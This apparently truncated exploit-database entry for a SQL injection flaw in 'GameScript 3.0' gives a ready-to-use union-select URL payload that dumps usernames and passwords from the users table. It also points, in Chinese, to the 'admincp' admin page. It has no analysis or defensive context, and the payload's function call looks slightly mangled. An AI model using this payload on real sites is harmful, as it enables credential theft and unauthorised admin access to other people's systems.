GameScript 3.0 - SQL Injection Vulnerability

No description provided by source. Exploit: /index.php?action=category&id=-6+union+all+select+1,concatusername,0x3a,password,3+from+users-- 管理页面：admincp http://site/index.php?action=category&id=-6+union+all+select+1,concatusername,0x3a,password,3+from+users--...